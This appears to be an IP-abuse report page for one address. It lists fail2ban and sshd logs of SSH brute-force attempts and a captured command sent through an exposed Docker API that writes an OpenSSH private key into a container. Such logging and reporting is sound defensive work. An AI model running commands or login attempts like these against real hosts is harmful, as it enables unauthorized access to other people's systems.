This IP address has been reported a total of
48
times from
47 distinct
sources.
198.55.103.143 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
Germany
with 18
reports;
United States of America
with 11
reports;
France
with 4
reports.
The most common categories in these recent reports were:
Brute-Force
28
times;
SSH
23
times;
Web App Attack
14
times;
Port Scan
9
times;
Hacking
4
times;
Other
6
times.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Automated report from fail2ban on www.fitzgerald.eu. Jail: apache-404. First seen: 2026-10-02 19:00: ...
show moreAutomated report from fail2ban on www.fitzgerald.eu. Jail: apache-404. First seen: 2026-10-02 19:00:18. Events: 1. Reported by ipdb-security/fitzgerald.eu
show less
2026-10-02T18:23:20.947789+00:00 instance sshd-session[3302432]: Invalid user admin from 198.55.103. ...
show more2026-10-02T18:23:20.947789+00:00 instance sshd-session[3302432]: Invalid user admin from 198.55.103.143 port 44160
2026-10-02T18:23:51.855035+00:00 instance sshd-session[3302434]: Invalid user user from 198.55.103.143 port 58892
2026-10-02T18:24:53.636298+00:00 instance sshd-session[3302441]: Invalid user user from 198.55.103.143 port 33092
2026-10-02T18:26:26.381651+00:00 instance sshd-session[3302467]: Invalid user orangepi from 198.55.103.143 port 57304
2026-10-02T18:26:57.280062+00:00 instance sshd-session[3302478]: Invalid user support from 198.55.103.143 port 32806
...
show less
Oct 2 14:23:18 gen sshd[3164137]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid= ...
show moreOct 2 14:23:18 gen sshd[3164137]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.55.103.143
Oct 2 14:23:21 gen sshd[3164137]: Failed password for invalid user admin from 198.55.103.143 port 53140 ssh2
Oct 2 14:23:51 gen sshd[3164140]: Invalid user user from 198.55.103.143 port 54142
...
show less
Fail2ban ban on jail 'sshd'. Repeated failed authentication attempts against a monitored host. Detec ...
show moreFail2ban ban on jail 'sshd'. Repeated failed authentication attempts against a monitored host. Detected and correlated by Wazuh SIEM (rule 100110, level 10). Reported automatically.
show less
[17:33] Attempted to exec a command in container 'bae4195e3296' via Docker API - arbitrary command e ...
show more[17:33] Attempted to exec a command in container 'bae4195e3296' via Docker API - arbitrary command execution in an existing container (cmd="sh -c cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWnQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiaf...") - also crawled beforehand: GET /containers/json
show less
2026-10-02T19:14:25.582477+02:00 web3 sshd-session[39794]: Failed password for invalid user admin fr ...
show more2026-10-02T19:14:25.582477+02:00 web3 sshd-session[39794]: Failed password for invalid user admin from 198.55.103.143 port 37690 ssh2
2026-10-02T19:15:09.285787+02:00 web3 sshd-session[39810]: Invalid user user from 198.55.103.143 port 39124
2026-10-02T19:15:09.288366+02:00 web3 sshd-session[39810]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.55.103.143
2026-10-02T19:15:10.987988+02:00 web3 sshd-session[39810]: Failed password for invalid user user from 198.55.103.143 port 39124 ssh2
show less
SSH brute-force: 3 failed login attempts in 2s (last 2026-10-02T17:11:18+00:00); usernames tried: us ...
show moreSSH brute-force: 3 failed login attempts in 2s (last 2026-10-02T17:11:18+00:00); usernames tried: user
show less
